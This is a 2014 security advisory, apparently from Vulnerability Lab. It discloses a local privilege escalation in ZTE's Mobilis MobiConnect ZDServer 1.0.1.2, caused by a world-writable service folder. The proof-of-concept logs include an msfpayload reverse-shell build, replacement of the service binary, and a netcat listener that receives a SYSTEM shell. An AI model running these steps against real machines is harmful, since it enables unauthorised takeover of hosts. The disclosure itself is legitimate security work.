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Mobilis MobiConnect 3G ZDServer 1.x - Privilege Escalation Vulnerability



Document Title:
===============
Mobilis MobiConnect 3G ZDServer 1.x - Privilege Escalation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1385


Release Date:
=============
2014-12-19


Vulnerability Laboratory ID (VL-ID):
====================================
1385


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
http://www.3G.dz
http://wwwen.zte.com.cn/en


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local privilege escalation vulnerability in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.


Vulnerability Disclosure Timeline:
==================================
2014-12-19:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
ZTE Corporation
Product: Mobilis 3g MobiConnect 3G++ ZDServer - Software 1.0.1.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.

The vulnerability could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications 
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges 
of the application. 

The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of 
the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the privilege escalation web 
vulnerability results in software- or system compromise.


Proof of Concept (PoC):
=======================
The local vulnerability can be exploited by local attackers with restricted system privileges and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


--- PoC Session Logs ---
C:\Users\s-dz>sc qc ZDServ
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ZDServ
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ZDServ
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\s-dz\Desktop>net users s-dz
Nom d'utilisateur                              s-dz
Nom complet                                    s-dz
Commentaire
Commentaires utilisateur
Code du pays                                   000 (Valeur par défaut du système)
Compte : actif                                 Oui
Le compte expire                               Jamais

Mot de passe : dernier changmt.                18/12/2014 00:58:48
Le mot de passe expire                         Jamais
Le mot de passe modifiable                     18/12/2014 00:58:48
Mot de passe exigé                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorisées                            Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès                                  17/12/2014 22:54:46

Heures d'accès autorisé                        Tout

Appartient aux groupes locaux                  *Utilisateurs
Appartient aux groupes globaux                 *None
La commande s'est terminée correctement.


C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\ProgramData\ZDSupport\ZDServ\"
C:\ProgramData\ZDSupport\ZDServ
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Tout le monde
        FILE_ALL_ACCESS
  RW AUTORITE NT\SystÞme
        FILE_ALL_ACCESS
  RW BUILTIN\Administrateurs
        FILE_ALL_ACCESS
  RW BUILTIN\Utilisateurs
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        SYNCHRONIZE
        READ_CONTROL


C:\Users\s-dz\Desktop>cacls "C:\ProgramData\ZDSupport\ZDServ\"
C:\ProgramData\ZDSupport\ZDServ Tout le monde:F
                                Tout le monde:(OI)(CI)(IO)F
                                AUTORITE NT\Système:(OI)(CI)(ID)F
                                BUILTIN\Administrateurs:(OI)(CI)(ID)F
                                CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F
                                BUILTIN\Utilisateurs:(OI)(CI)(ID)R
                                BUILTIN\Utilisateurs:(CI)(ID)(accès spécial :)
                                                             FILE_WRITE_DATA
                                                             FILE_APPEND_DATA
                                                             FILE_WRITE_EA
                                                             FILE_WRITE_ATTRIBUTES


##############   PROOF  ######################
C:\Users\s-dz\Desktop>net user s-dz
Nom d'utilisateur                              s-dz
Nom complet                                    s-dz
Commentaire
Commentaires utilisateur
Code du pays                                   000 (Valeur par défaut du système)
Compte : actif                                 Oui
Le compte expire                               Jamais

Mot de passe : dernier changmt.                18/12/2014 01:12:55
Le mot de passe expire                         Jamais
Le mot de passe modifiable                     18/12/2014 01:12:55
Mot de passe exigé                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorisées                            Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès                                  18/12/2014 03:16:07

Heures d'accès autorisé                        Tout

Appartient aux groupes locaux                  *Utilisateurs
Appartient aux groupes globaux                 *None
La commande s'est terminée correctement.

Before we go over to action we need to check the status of the ZDserv service. In this case we can see
it is set to "AUTO_START" so it will launch

C:\Windows\system32>sc qc ZDserv
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ZDserv
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ZDServ
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X  >  C:\Users\s-dz\Desktop\evil-ZDserv.exe



C:\Users\s-dz\Desktop>copy evil-ZDserv.exe C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe
Remplacer C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe (Oui/Non/Tous) : o
        1 fichier(s) copié(s).

and later we will open cmd with administrator 

C:\Windows\system32>sc start zdserv
###################################################################
C:\Users\s-dz\Desktop>nc.exe -lvp 4433                                            
listening on [any] 4433 ...                                                                       
connect to [192.168.1.5] from s-dz [192.168.1.5] 4638                    
Microsoft Windows [version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.

C:\Windows\system32>whoami
whoami
autorite nt\système

C:\Windows\system32>


Security Risk:
==============
The security risk of the local privilege escalation vulnerability in the software is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
Hadji Samir S-dz@xxxxxxxxxx


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=========================
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